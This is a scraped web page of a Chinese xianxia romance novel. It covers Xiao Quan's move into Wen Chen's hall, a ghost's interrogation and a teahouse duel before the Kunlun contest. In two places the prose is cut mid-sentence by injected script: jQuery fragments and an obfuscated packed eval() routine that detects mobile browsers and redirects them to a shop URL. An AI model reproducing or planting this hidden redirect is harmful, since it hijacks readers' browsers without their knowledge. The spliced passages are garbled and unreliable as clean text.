() { $(''.inform'').remove(); $(''#content'').append('' > 宫璃看着他眼睛,重重点头,“跑。” 说罢,他逃也似的往床上钻,说什么都不肯下来。 看着整理整齐的床铺被那只臭狗滚得乱糟糟,宫榷一看就来气,“你最好洗干净了再上去,不然滚去打地铺。” 宫璃嗅了嗅身上,“我昨儿才洗澡,身上又不臭,你嫌弃个啥?” 宫榷咬牙,“你去还是不去?” 宫璃眼睛滴溜溜一转,乖乖从床上爬起来,咧嘴一笑,“去,马上去。” 他知道他哥素来洁癖惯了,万一惹到底线搞不好真会被他丢下床。宫璃命人带好衣服去浴室从头到尾洗干净了回来,美滋滋嘚瑟躺着。 打理好展柜,宫榷去浴室泡完澡回来,看见少年占着整张床榻,拍了拍他小腿,“狗头狗腿狗脚全部给我挪进去,敢滚过来一点你就死定了。” “怎么嘛怎么嘛,睡觉也要打我,你到底想怎么样?”宫璃边说边往里面挪屁股,“这么凶,难怪讨不到老婆。” 宫榷弯出一个没有笑意的唇,“那挺抱歉,我就没想过要和别人睡一张床,尤其是女人。” 宫璃咂嘴,“你很讨厌女人吗?” 宫榷脑海浮现许多画面声音,面无表情道:“不。男女都讨厌。” “那我呢?我可是你亲弟弟,你总不能讨厌我吧?” “能不能睡觉?屁话真多。” 兄弟俩有一下没一下地聊着,宫璃听宫榷声音越来越轻,偏头一瞧,发现对方已经闭眼。他好奇定睛观看半晌,忽道:“哥,你胡茬没刮。” 宫榷闭着眼,“我给你两个选择,要么睡,要么滚。” 宫璃怂了,“我不说了我不说了,马上就睡。” 一夜安眠,他自然睡醒起床,意料之中没看到兄长,穿好衣服出门寻人去了。找半天没见人,一问才知道在马场射箭。 宫榷身为门主虽然日理万机,但闲暇之余也会射箭骑马消遣,这是他为数不多的喜好。宫璃顺道走到后山马场,边吃东西边坐等。宫榷自然注意到他身影,但还是跑了两圈才回到歇息处,“这些天你就待在家里,哪儿也不准去。” 宫璃咀嚼的腮帮子一停,“家里有事?” 宫榷:“非得有事你才肯待在家里?难道没事就不行了?你天天跟在姓闻的身后,家也不回,这像什么话?” 宫璃撇嘴,“家里太无聊了,规矩又多,没人陪我,不如跟着百里大人出去打怪。” “现在你回去怕是不能做这些了。”宫榷冷笑,“只要他敢带你去险恶之地,我必率人上门讨人。即便昆仑规定不能对同僚动手,我也会让他难堪。” 宫璃:“你怎么又这样?百里大人才不会让我涉险,你就爱猜忌人家,真讨厌。” 宫榷冷眼一瞟,“昨天也不知是谁哭兮兮说要和我一起睡,结果今早起来就骂人,跟谁学的忘恩负义?” 宫璃:“你管我?” 宫榷懒得跟他计较,“多打听江湖消息。最近不太平,妖魔蠢蠢欲动,不是好兆头。哀乐山只是一个开头,日后刺激的事情还多着。” “它们折腾了这么多年也没弄出个名堂,有什么好怕的,又不是神魔降世。”说到此处,宫璃有点不确定,“神魔……应该不会复活吧?” 宫榷面色冷峻,“当然可以。不过当年神魔是自愿焚身,倘若本体没有强烈的求生欲念,复生机会几乎渺茫,要是求生欲念强烈,那有得猜了。” 宫璃:“猜什么?” 宫榷:“猜谁是神魔复活的替身。” 22. 锦瑟 结束哀乐山一行,闻尘频频被叫去昆仑,后来直接留在了那儿。他给潇泉捎了一封信,大致意思是说她不要到处乱跑,外面危险。 潇泉阅完信封,有点小得意,“哎呀,没想到如今你也体会到了当大人的滋味。我看看我该做点什么呢,让我想想……伪装门生子弟招摇撞骗?夜闯菩溪拔鸟毛?还是翻墙偷溜吾心殿?” 吾心殿乃闻尘寝居,平时只有仆人仙侍可以定时进去打理,一般人不论是谁都禁止入内,殿内比整座山还冷清。 这几日潇泉把新老地方走了个遍,摸清了哪些地方该去哪些地方不该去。 青泽刚处理完一桩灭门惨案,为防祸害再生、祸连门中,特意森严戒备一段时日。如果潇泉在这时四处乱走,易惹非议。 奈何大的不在,小的走了,她一人很是无聊,去找门内子弟接了一个跑腿活儿,每日靠这两步强身健体,没活儿就随便走走散心。 俗话说,瘦死的骆驼比马大。纵使青泽遭遇门变,但有白清鸣坐镇、闻尘代守,还是有人家愿意把孩子送到青泽栽培。 潇泉心中欣慰,也晓得知道孩子们喜欢在那片溪水桃林玩儿,偶尔路过还会被喊大姐姐。就凭这一声称呼,她成魔还是成神都会分他们一杯羹吃。 潇泉越想越好笑,不论哪家仙门都避她如避鬼神,没喊打喊杀就不错了,还敢吃她分出去的羹?昆仑那几个老头肯定会破口大骂“荒唐!” 无聊透顶的潇某人不知不觉来到桃林,这儿的孩童嬉戏依旧,小有六岁,大有十岁,定时定点出现在此,应是课后约好过来玩的。 潇泉找了一块石头坐下观看,孩童们习惯了被她旁观,打完招呼便开始玩蒙眼抓人的游戏。玩过两轮,到一个扎着两条小辫子的女孩抓人,她蒙着眼睛毫无章法地乱抓,在规定范围内摸瞎半日,居然跨出界限往潇泉方向摸了。 潇泉坐直身子不躲不避,笑盈盈看着她靠近自己。其余孩童没有提醒这位出错的同伴,纷纷在后面偷笑。女孩无所察觉,将要摸到潇泉那刻,忽被落枝拌了一跤,潇泉连忙收起笑容扶起女孩,拍拍她背以作安慰。 女孩终于觉察不对,身形一顿,扯下蒙眼布条呆呆盯着潇泉,小脸又羞又红,“你、你……” 桃林对面,孩童们再也忍不住欢笑成团。 潇泉眉梢微扬,“我怎么了?这可是你自己走过来的。” 女孩脸上羞赧慢慢退去化作明媚笑容,“我知道,你是百里仙君带来回来的那位姐姐。” 潇泉眉眼弯弯,“哎,这都被你知道啦,真厉害。” 女孩奋力点头,“我们在玩‘瞎子抓人’,你要来吗?” 潇泉欣然接受,“可以啊,有什么规定?” 闻此,孩童们簇拥过来讲述游戏规则。潇泉耐不住热情,为了更好融入其中,她自告奋勇主动当一回“坏人”,边说边用布条蒙上眼睛,“先说好啊,不准耍赖上树,更不能跑出桃林。” “嗯嗯我们不会的!”孩童们乖巧应着。 潇泉蒙好眼睛开始抓人,到处游走,象征性摸两下又转身去另一边抓。游荡片刻,她感觉周边好似在某一刻变得安静起来,但没人说停,她不好摘下眼罩,凭直觉往某一方向默默看看有没有人。 忽然,伸出的手在空中摸到一片柔软,潇泉先是得意一笑,然后慢慢凝固笑容。 这衣服质感图纹和孩童们所穿的衣物不符,有点像潇泉先前在某人身上见过的,至于是谁……她顺着衣角往上一摸,发现此人身高不低,不是小孩。 而且,似乎更高一头。 闻尘低眉看了一眼她刚刚触碰自己胸膛又缩回去的手,然后抬眼凝视她脸庞,一言不发。 与此同时,潇泉眼上布条倏地松落。 其实此前她已经隐隐猜出来人身份,不过真没想到闻尘真会乖乖站在原地一字不说一举不动,所以在看见他本人那刻,险些没有站稳。 四目迅速擦过视线,若有四无相对。潇泉率先后退两步,摆出一副弟子犯错模样,“无意冒犯仙君,还望仙君……莫要怪罪。” 她自觉垂首,余光却不老实到处偷瞟。 当瞟到不远处站成一排低头闭嘴的群童时,两眼一黑。难怪没人出声提醒,看那怂样就知道了。不过这也不怪他们,毕竟闻尘管教的确严格。 闻尘遣散群童,转而看向潇泉。 潇泉被看得浑身不自在,厚着脸皮道:“仙君何故这样瞧我?” 闻尘:“你下山了?” 怪不得会来这里,原是想兴师问罪。潇泉毫无遮掩之心,一脸天真道:“是啊,我看他们要买的东西实在太多,所以下山帮忙跑腿挣点小钱。后来我拿着这钱买了一只鹦鹉准备当个飞宠解解闷,结果呢,还没到家就飞走了。” 闻尘:“多少钱。” 潇泉低头盯着脚尖,掩去眼中窃喜,“二十文,我全部家当都赔进去了。” 一个锦囊从空中抛来,潇泉手疾眼快稳稳接住,掂了掂重量,乐道:“仙君,不如我们做个交易怎样?我去后山扫地,你给我月钱两百,包个吃住。这钱我就……不要了,还你。” 闻尘没接,“后山一百;后院五十;前院一百;吾心殿三千。你挑一个。” 什么?三千?! 听到最后,潇泉一下把前面的选择全部抛诸脑后,“吾心殿不是不让伺候?” “如果你想来,”闻尘眉眼清和,“我可以破例。” “可是——”潇泉佯装作假,“我怕自己手脚笨拙搅乱仙君生活……我不会端茶倒水,也不会梳头穿戴。若是哪日惹了仙君不悦,我……” 甘愿受罚?不可能,自然是先跑为妙。 她知道闻尘从小习惯一人照顾自己,不喜有人伺候,不会真的把她收进去作侍从,但只是不作侍从,不一定不收她入殿。 他亲口承诺,定如磐石。 潇泉委婉推辞是不想拉近二人关系,以致哪天她暴露身份不得不被迫离开。与其这样,不如安安分分做一个透明的扫地仆人,待到偷偷化出灵根再走,这样不会给谁增添麻烦。 闻尘:“我不常在,也无需用人伺候,你可随意。” 这两个条件刚巧符合潇泉心意,她想着送上门的钱不捡白不捡,不如斗胆尝试再问:“包吃住?” 闻尘颔首,“月钱定时发放。” 如果放在别处,她不一定信会定时发放三千月钱,但对于仙门大家的仙君而言却是轻轻一举。 他们不缺金钱,却有比钱更珍贵之物。众生信奉山上仙神,仙神本尊就是无价之宝,他们的性命远远重于钱之外物。 有人只需以金填平坎坷,有人却要用命怒镇乾坤。 “仙君,”潇泉忽然出声,“我住吾心殿会不会打扰到您?” 闻尘:“不会。” “我做事有时不稳,万一打碎您的宝贝……” “扣钱。” “啊?”潇泉没想到他居然这么直接,“扣多少?要是我钱不够偿呢?” “等月钱攒够。”闻尘目向桃花花瓣,“一直等到偿完为止。” 潇泉有点后悔方才的冲动,“那偿完之后,我是不是可以离开了?” 闻尘伸出三指。 “什么?” “期限。” 潇泉似懂非懂,“三个月?” 闻尘语气平静,“三年。” 潇泉语无伦次,“仙君,我改变想法了,我想去后院。” 闻尘没有应答,转身默默看她,而后缓慢摇头,“不行。我们已经说好了。” 有那么一瞬,潇泉恍惚看见那名少年在控诉她随意反悔,心里酸酸麻麻,不忍直视对方,“可是我刚才并没有答应,只是询问。” 这下闻尘不说话了。 双方陷入一阵沉默,片晌之后,潇泉率先开口:“莫非仙君出这么高的月钱就是为了买我三年光阴?” 她随心打趣,闻尘却直接应道:“你姑且可以这么认为。” 这下换潇泉不说话了。 半晌,她微微一笑,“仙君是见谁都这么大方?” 闻尘:“你以为如何?” 这句反问差点呛到潇泉,她平复好心情,“我初识仙君,不太了解。” 两人话间不曾停过走出桃林的脚步,闻尘行在前方,听见这话没有解释。 潇泉也没想过在他嘴里等出答案,又问:“仙君真的不常在家也不用人侍奉?” 闻尘:“嗯。” 潇泉再三寻思,“行,我……答应你。” 只是她待的日子未必期满三年,甚至不满三月。 闻尘:“好。” 当天,孤零零的潇泉什么都不用收拾便直接入住吾心殿,选了一处离主殿要多远就能有多远的地方。 这间房屋居于长廊之上,与其他房间只有一墙之隔,方方正正窄窄小小,窝在里面温馨又舒适,正好称潇泉之意。房间摆设用物俱全,换洗的衣物也在当天送来,她无需再备,今后只管在吾心殿忙碌即可。 待了两天,潇泉确实没怎么看见闻尘本人,慢慢宽心,想着不能白拿人家三千钱,扛着扫帚到处溜,哪儿有灰尘扫哪里。每每她与进门清理的子弟说她想来,子弟总是摆手让她离开,不让她动手。不仅一次,也不止一个。 更奇怪的是,每次她想清扫哪里,哪里就会变得干干净净一尘不染。于是,那天她一脸惆怅坐在廊下石阶上感叹:“好无聊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156753|194969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 无聊归无聊,她不后悔来此。在吾心殿的好处大于坏处,她可以趁闻尘不在的时候吸收宝贝灵气养生静心,陶冶性情。所谓近朱者赤,便是同理。 某间闭室,烛火未熄。 千魂伞悬在空中缓慢转动,里面传出山鬼的无能狂怒,“百里闻尘!有本事你放我出来!咱俩打一场,我要一起清算你们师徒俩欠我的账!” “百里”非是闻尘姓氏,是为了羞辱对方,故意把仙号姓名喊在一起的侮辱称谓 闻尘面无表情把它从伞里提了出来,不能动弹的山鬼气急败坏,眼睁睁看着闻尘蹲在自己面前。 他眼里越是平静,它心里就越发怵,骂骂咧咧给自己壮胆,“反正跑也跑不掉了,你不如直接痛快一点,别磨磨唧唧的烦死人!” 闻尘:“白骨山山主潇氏,人在何处?” 山鬼:“你心里不是已经有答案了?何必多此一举来问我。你们逃不过的,终将不得好死。天命不肯放人生路,苦苦挣扎不过也是死前作笑。你以为自己做得天衣无缝,可一旦暴露在昆仑面前,你也会落得个不得好死的下场哈哈哈!” 闻尘:“昆仑召我,有一事也是为了你。你冤孽深重,不可再留。” 山鬼继续作死,“来吧来吧,我活着和死了也没什么两样。倒是你,好像比我在哀乐山苦待两百年还要可怜。世人都道你百里闻尘是清风朗朗的正人君子,可谁又会想到这般人会触犯仙门最不该触犯的禁忌?要是传了出去,只怕你积攒了两百年的名声都得化为灰烬吧?” 它爬起来狠狠一笑:“还是说,你觉得你的修为当真可以抵消你的明知故犯?” 闻尘:“这是规矩,无关对错。” 山鬼躺在地上不动不语,觉得没必要跟此人废话了。 粼粼冷光照尽五闻尘半身,他的脸庞被烛光分成清晰的明暗两面,“当年她来找你交易,你给的是不是黄泉花?” 山鬼狞笑中带着惊喜,“哟,这么快就猜出来了?是啊,我跟她换了一朵,她还抢了老子一朵。” 还没说完,他忽的一笑:“我说你怎么这么快猜到那是黄泉花,原来是同道中人。百里闻尘你真够胆大的,沾染歪门邪道之术,昆仑没一掌劈死你算开恩了,居然还留你一命,真是稀奇。” 黄泉花世间罕有,功效百法多样,有至邪之性。有人碰见也不一定能认出,闻尘能一下认出,对此方面定是有颇深研究的。一个昆仑仙君敢涉猎邪物,无异于是不要命了。 闻尘不睬他废话,笃定道:“那个山洞曾是她的落脚处。” 山鬼眉眼一跳,撇嘴不语。 像是得到坚定答案,闻尘道:“可以了。” 山鬼急眼道:“你爷爷的又——” 闻尘指尖飘出一缕金光,地上模糊的黑影顷刻消散,再无声息。 他望着山鬼消失的地方不动良久,后方的银龙小心靠近,用剑柄戳了戳他手心,戳得快要麻木,闻尘终于动身离开闭室。 他来到无人看守的清寥院落,在树下站立许久。 银龙嗡嗡响个不停,闻尘道:“你别吵了。” 这次主人的口吻貌似带了丝丝乞求,银龙不敢自作聪明,“啪”的一声掉地上装死了。 闻尘纵身上树,坐靠在百年树梢之上,恍惚看见零碎久远的画面—— 树下,少年望着树上红衣女子,肃色道:“不是叫我来习功?你又骗人。” 女子笑眯眯举起酒坛,“练酒量也是练本事啊,你不会怎么行?要是以后被人拿捏酒量不行的把柄,可是会出大事的。来来来,跟师父喝几杯。”她旋身下树,带起的微风轻轻扑动少年眼睫。 潇泉越过他来到闲置的桌椅一旁,把怀中酒分给他一碗,“喝不惯就慢慢喝,喝完了我再给你添。” 不知是不是中了她的魔,闻尘站立半天,终是捧起盛满醇香酒水的瓷碗开始浅尝。一股冷泉滑过嗓子下肚,又呛又辣,泪水都呛了出来。 这火烧似的酒水辣得他浑身不适,少年下意识想要吐出,女子却用手轻轻捂住他嘴巴,含笑的眼睛在夕阳下格外明亮,“吞下去就不辣了,乖。” 少年抗拒的双手在她的重重抚慰之下慢慢收了回去。 火辣辣的白水就这么滚进肚,闻尘在被她捂热的呼吸里闻到了滚烈的酒味和不属于自己的淡淡香气。这股香气随着那只手的离开而消失,他怔了怔神,觉得耳烧似火,麻木地接过一碗又一碗,最终酩酊大醉。 他忘记自己是如何回房的,只记得浑身发软,四肢在夜风中无力摇晃。女子哼歌的声音时远时近,好像近在耳边,好像远到天边。 夜绵绵长,事中人分不清是梦是实,伴着睡意沉沉闭了眼。 23. 一弦一柱思华年 翌日清晨,潇泉起床在窗前桌上发现一张纸条,照信上所说先去食堂用膳,然后回吾心殿拿剑,再去后山静心湖。 途经的丛林鸟语花香,潇泉的脚步由快变慢,漫步走到绿林尽头,视野豁然开阔,蓝天苍云间,瀑阳西落,白鹭破水衔鱼飞。 湖心亭中,一桌一椅,一人一琴。 潇泉踩着石桥走到湖心亭边,抱着银龙坐在石头上,没有打破琴声带来的静谧。 奏琴者身穿浅蓝长袍,眉目始终轻垂,十指在弦间灵活抚弹。 潇泉听着听着,不觉失神。 眼前人的眉眼、气质、武功和地位早已不是孩子模样,婴儿肥蜕成男子该有的硬挺锋利,样貌俊朗陌生,但细看又确是一人。 原来两百年改变一个人的内外是如此之明显。 乐声消停,闻尘按弦止音,潇泉递剑给他,进亭坐看闻尘用银龙不快不慢耍过一遍入门剑法。过完两套剑法,闻尘持剑停下。 潇泉回神,“怎么不练了?有心事?” 闻尘负剑在后,“过两日昆仑要开办百试大会。” 潇泉听苏烈提过,结果这阵事情太多给忙忘了,算算日子确实到时候了。 潇泉:“所以你是在烦这件事情?” 闻尘:“他们要我参会。” 潇泉:“您是昆仑仙君,参会是必然的。你上次没去?” 闻尘低头抬剑,银白剑刃倒映他的深邃眉眼,眉间浮有淡淡愁意。 潇泉看他沉默不言,便知自己所言不错,问道:“仙君多少年没去了?” 闻尘:“二十年。” 果然有什么样的师父就有什么样的徒弟,闻尘这几分胡闹有点像她。潇泉心里一边好笑一边奇道:“那这次怎么又肯了?” 闻尘:“真人诚请,盛情难却。” 怪不得答应赴会,原来有华烨真人出面保证。说起来也是缘分,小时候潇泉总把华烨真人当作师叔,不料这种关系传承到了闻尘身上。 潇泉:“看你满面愁容,难不成是不想被昆仑逼着收徒?” “何以见得?” “难道不是?” 闻尘闭唇不答,脸上看不出表情。 潇泉想起有件必做之事,故作小心问:“长这么大我还没去过昆仑,仙君能不能大发善心,带我去开开眼界?” 这话当即吸引闻尘注意,他无情回拒道:“不能。” 潇泉不愿放弃千载难逢的机会,“为什么?” 闻尘收好银龙,转身欲走。 此举过于突然,潇泉愣神过后追上去死缠烂打,“仙君,你不能说明理由吗?是我资质不够还是怎么?” 闻尘:“非门中子弟,不可入内。” 潇泉:“我只是想去见见世面,这也不行?” “并非轻视。只是昆仑规矩严格。”闻尘眼神认真,“譬如,神门作怪者,处以极刑。” 他这么说很难让潇泉不多想,“那仙君是觉得我想去大会捣乱了?” 闻尘不答,想来就是忧心这个了。 猜出他心中所想,潇泉当即对症下药,“举头三尺有神明,我在青泽等于在您的眼下,一举一动皆有你督察。倘若我真要作怪,您当初为什么不直接擒我?” 闻尘闭紧双目,似乎有点头疼。 潇泉放缓语气,眼含期待,“仙君不擒我,其实心里已经有了答案吧?” 闻尘似乎决计不再回应,一声不吭。 求人不如求己。潇泉没再追着纠缠,表面老实安分,心里却想着偷偷潜入之法。 不知不觉两人走到吾心殿,分离之际,闻尘倏喊:“戌时,来主殿。” 潇泉有点意外,旋即痛快应道:“行。” 闻尘突然回心转意,潇泉吃饭都香喷喷,之后还趁心情甚好,把池塘的鱼喂了。 戌时一到,她立时赶去主殿,敲门没人回应,纠结半天,最终推门而入。 整座大殿呈着天青色的清冽,没有任何多余摆设,仅添置着桌椅、屏风和古松盆景,以至于看着不那么空。 闻尘不在大殿,潇泉等了半天没等到人,打算试试去里面寻。行直深处,一个由木板格间围成一个四四方方的院子映入眼帘,院中假山盆景翠意盎然,雀鸟鲤鱼尽显生机,甫一走入心旷神怡。 潇泉被这片静谧安详之地吸引,蹲在池边静观水下幻景。与此同时,一抹紫影穿廊而来。 木屐踩踏木板的声响尤犹如庄严古乐,潇泉闻声抬头,瞧见人来,识趣起身,过去扶了个寂寞,“仙君要是还没想好可以再想想,我等得起。只要仙君认真为我思虑,我相信你一定不会把我一个人丢在这儿。你和宫璃走后,没人陪我,我不知该怎么自处。初来乍到,门中没有熟人,也不知找谁说话……” 她亦步亦趋随闻尘步入主殿,还没说下一句,后者递来一杯清水。潇泉毫不客气喝完,递出空杯,那边刚放下玉壶的手微微一顿,给她再续了一杯。 闻尘把玉壶往她的方向轻轻一推,“若我真为你思虑,你断然进不去。” 果然如此。潇泉把刚喝完的空杯放在桌上,低头无声失落,想用委屈泪水博取同情,谁知努力半日却是一脸麻木地掉出两滴眼泪。 若不是眼泪无情,这样自然的演技差点连她自己都骗到。 殿内安静须臾,潇泉听到一声轻叹,极其轻微。 闻尘轻轻敲打着案面沉目思量,而后去锁柜拿出一个匣子送到潇泉面前,取出里面刻纹精致的金刚手环,“去可以,这是条件。” 潇泉收回不值钱的眼泪,揣着明白装糊涂问:“这是何物?” “此为护身手环。”闻尘解释,“昆仑灵气强盛,你身心虚弱,易遇不适。它可随时护你。” 潇泉双手接过,得了便宜还卖乖,“仙君可还有其他嘱咐?” 闻尘:“不能离我五十步远。” 潇泉:“好说好说。我要是辜负了仙君好意,这辈子都不会发大财。”大财发不了,那就发小财,反正都是钱。 意见达成一致,潇泉礼貌退出吾心殿。 昆仑每逢开山便热闹非凡,山上忙碌身影绰绰,躁而有序;山下来往人流不断,动而舒缓。 潇泉揣着闻尘的令牌和银钱下山采买,打听到这次参会的修士来自各路门派,各有神通,其中不少散修年纪轻性子傲。她正想听听这些少年有多嚣张,便见负剑的一男一女站在茶馆门口,大声对台上讲故事的中年男人道:“照你这么说,那进昆仑的岂不全是怪人?你这老头倒好笑,昆仑乃仙门圣地,岂是你这等闲之辈妄议的?” 说话的罗裙少女和黄袍少年有着一模一样的脸,只有神情三分异。 台上唾沫横飞的男人猛地顿住,惊讶道:“你你们是去百试大会的……”他吊着一口气,不敢再说下去。 少女踏步上前质问:“百试大会的什么?你说!” 男人跌倒在地,神色慌忙,“没没没,我什么都没说!” “怂货!”少女翻了一个白眼,纵身下台回到少年身边,顶着数道稀奇目光,“怎的这样看我们?没见过龙凤胎啊?” 黄袍少年低低嗤笑:“一群乡巴佬。” 少女扬眉正色,“我这位师兄没什么本事,只会耍耍嘴皮子,你们要是看不惯他,那就揍他好了,其他与我无关。” 少年似乎习惯了她这副嘴脸,冷哼道:“那也要看他们打不打得过了。” 他的猖狂引来人群中的不满。一位黑白间袍的年轻道士走出人群,举手投足颇为秀雅,他微微弯身礼道:“敢问阁下可是元流宗弟子?” 少年不悦回礼,“你哪位?” 潇泉看得津津有味,往后挪动身子,两条腿在半空悠悠晃荡,看他们谁胜谁负。正巧隔壁有一对夫妻堆着瓜子,她过去嘻嘻示好博得好感,换来一把瓜子磕。 走之后,那夫妻低语起来。 丈夫:“这丫头你认识?” 妇人:“不认识啊。” 丈夫摸不着头脑,“我还以为你俩认识呢,她过来一笑你就给她瓜子?” 妇人娇羞回味,“丫头笑起来可真让人稀罕,要是俺有个闺女就好了。” 丈夫无语叹息。 周围人群稍稍沸腾,个个等着看好戏。那位道士三两句勾出少年的好胜心,一下激起大家坐观热闹的心情。 少年剑眉冷横,“你谁?” 道士拂袖拱手,“在下阴阳派弟子,莫长东。” 两人气势相争,人们识趣腾出空地,以免热闹波及自己。因在茶馆外间,有人提议不能使用法力,只能以简单术法对付彼此。 少年毫不领情,“打就痛痛快快地打,砸坏了我有的是钱赔。” 莫长东:“也包括我的那份?” 少年:“你倒想得美!” 他五指抓起一股深蓝色灵力袭去,莫长东见势,转起拂尘将其吹散,反手扬起一道凌风震退少年几步。他将拂尘横在胳膊间,声音沉稳,“你单斗不过我。你与妹妹天生一对,合则能威,散则力弱。除非你们各自行道,才有可能独胜。” 潇泉不认识这几人,但对莫长东说的有点意外。 凡对修行有深入了解的都清楚这对龙凤胎走的是水火道,从兄妹俩所使用的术法中可以分辨出妹妹是水,哥哥是火。他们年纪小,内力不够深厚,多半在初阶,还有待提升。等修至高阶,水火道可转为阴阳道,阴为水,阳为火。 这对龙凤胎拥有如此罕见的双重灵性,说是老天赏饭吃也不过分。目前他们低阶唯一的劣势是担忧无法合体战敌,高阶无需费神,可以自立自强。 就凭与生俱来的天赋,不管他们能不能进大会前十,只要踏入昆仑山门,几乎尘埃落定。 少年不信道士所说,抽出腰间红绳一甩,红绳立刻甩出一道烈火飞向莫长东。后者反应及时,用拂尘与之缠斗,两人有来有回,不相上下。 再这样下去拂尘会烧秃,莫长东速速收手,抽出背上长剑想要斩断红绳,少年又转手收回红绳不让对方得逞。 在场看客跑的跑,喊的喊,捡鞋的捡鞋,还有人用水泼向火绳,可惜火势不减分毫。 莫长东摇头叹气,“这是法器冒出来的灵火,要能被普通的水浇灭,那就怪了。” 少年得意一笑,却见道士将烧去几须毛的拂尘别在腰间,“果然是年轻气盛,我这番好奇试探,你竟真差点拿出压箱底的本事来,吓得莫某人不得不收手。你这顽徒,应当再回去好好修修心性,这般莽撞,在外面肯定要吃不少亏。” 得知自己被故意下套,少年起初还有怀疑,细想之后,嘴都气歪了,“你个臭道士,明日要是在大会看见你,我定然把你打得落花流水,满地找牙!” 少年猛然想起一个很多人都不在意却有点危险的算计,参会的有心之人会在山下歇脚的城镇试探其他修士的实力,好在比试前做出针对策略。适才他傲气过头,忘记师父在他出门前的重要交代,一定一定不要在众人面前暴露实力……完了,回去又要挨揍了!要是今日之争传了出去,谁知明日比试会碰见什么针对刁钻的武技? 少年扭头恨道:“都怪你嘴碎,这下开心了?” 少女无辜道:“是你自己非得张扬,怪我做甚?出门前我还提醒过你,你自己非要作死。” 莫长东对他们的争吵不感兴趣,去柜台把该付的钱付了,还好心提醒:“喂,别忘了交补偿钱,不能白用人家的场地打架啊。” 少年掏出一锭银子气冲冲过去拍在桌上,谁看他瞪谁,“看什么看?再看我把你们眼珠子挖了!” 店员尬笑不语,往后躲去。莫长东冷不丁来一句:“看你长得俊,想多看两眼,反正不收钱。” 少年险些吐出污言秽语,一忍再忍,甩头走向门口,咒骂:“呸你个臭道士,少恶心人!” 少女追了出去,“你看你又闯祸,等回去看老爹收不收拾你。” 两名少年的声音越来越远,馆内看戏的众人意犹未尽,还有阵阵嘈杂的笑语。 热闹散去,潇泉付好茶钱准备离开,忽然肩膀一沉,有手搭在上面不肯松开。 “小姑娘,”一张冷森森的脸从后方冒出,莫长东目光深沉,尤有看穿一切之态,“我看你印堂发黑,怕是命有凶煞啊。” 潇泉吞吞吐吐:“道、道长,何出此言?” 莫长东:“如果你不介意,我可以帮你看看,不要钱。” 潇泉:“啊?可是我听说命越算越薄。我怕算完之后变成短命鬼。” “胡说八道,万一不算你死得更快呢?”莫长东拽着她衣袖往角落位置赶,压根不顾身后少女气得牙齿痒痒,“你!你你你……” “我我我我我怎怎怎怎么么么了了?”莫长东强行按她入座,自己坐去对面,毫不顾忌旁人眼光,一脚踩上长凳摇摇摆摆好似街上招摇撞骗的神棍。 他们屁股还没捂热,一个油光满面的汉子大步追来,“未满三人不许坐方桌,要坐的话先交三文钱!” 莫长东破口大骂:“坐个位子都要交钱?你家是黑店呐?!” 汉子张嘴欲言,潇泉接道:“开黑店是吧?明儿我就找我大哥把你店子砸了!叫青泽那位帮忙也没用,我家大哥可是朱雀门门主,有他在还怕治不了你们?识相的赶紧沾边儿去,别打扰我们谈生意!”她学着江湖老哥用大拇指树自己的姿势,猖獗表情把江湖混混的姿态学了个精髓。 汉子一听是朱雀门子弟,气得瘪嘴,不敢大发脾气,愤愤去招揽其他客人了,当没看见这俩煞神! 莫长东佩服道:“姑娘胆量不错,抹黑拉仇恨的本事也是一绝。我没看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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潇泉匆匆离开城镇,生怕那名道士追上来死缠烂打,她哪受得住?当然是先走为上了。 归途不远,但要老老实实爬山梯,她嫌半路乏累会口渴,很有先见之明地去井边打水,等灌满水壶才开始上路。 转身那瞬,一个鬼祟身影闪过,潇泉定了定神,稳步往前走了十余步,最后撒腿就跑。 没跑多久,一阵清风掠过潇泉耳边,她一回头,瞅见莫长东一脸苦色,“你跑什么呀?” 潇泉边跑边喘,“你不追我会跑?” 莫长东:“你不跑我会追?” 潇泉:“那你别追啊!” “哎哟小妹!”莫长东轻呼,“你别跑了行不行?我有事问你!” 今日阳光明媚,潇泉汗流浃背,想停下来猛猛灌水润舌,但还是坚持道:“我娘不让我跟生人接触太深,你能不能别追我了?我害怕,有事直说行不行?” 莫长东没有放弃,“我想问你件事。你有没有认识什么人,最好懂修行的,是仙门的最好。我想让祂帮我重塑一下拂尘。明儿参会要用,找普通工匠修不快,得找修行之人。” 潇泉指着自己,“你看我这样子像是人缘广的样子?我上哪儿给你找修仙的?我一日三餐样样不落,碰到鬼了只会哭,哪有你想得这么神通广大?” “谁说废物不能和修士做朋友?我认识好多。”未了他又补充,“不过你这么废的我是头一回见。” 这句不知是故意还是无意的攻击让潇泉有了心安理得拒绝他的理由,方才没答应,是觉得不好意思去请青泽那位,而且让那位帮忙还会引起道士疑心,不如不说。 眼看快要跨进青泽地界,潇泉暗喜不已,可当看见前方的紫色身影时,她忽然觉得此刻不如待在城里吃喝玩乐。 莫长东同样看见了石碑一旁的闻尘,面色大喜,追赶潇泉的脚步一下转了过去,在距离闻尘几步之外的地方停下,谦和有礼一拜,“见过仙君,在下莫长东。” 闻尘颔首轻应,随后看向不太情愿走过来的潇泉。 莫长东惊道:“仙君你们真的认识?” 潇泉连连摆手,“不不不,我都说了是吹牛的,你怎么还真信了?莫道长,你不是要重塑拂尘?这刚好来了一位能人异士,肯定能帮你。我是真不能多留了,家中还有一位老母亲等着我。再会,再会啊。” 潇泉硬着头皮溜上山,根本不敢回头看闻尘表情。还好他素来寡言不爱多话,要是当面拆穿她的谎言,她还不知该怎么收场。 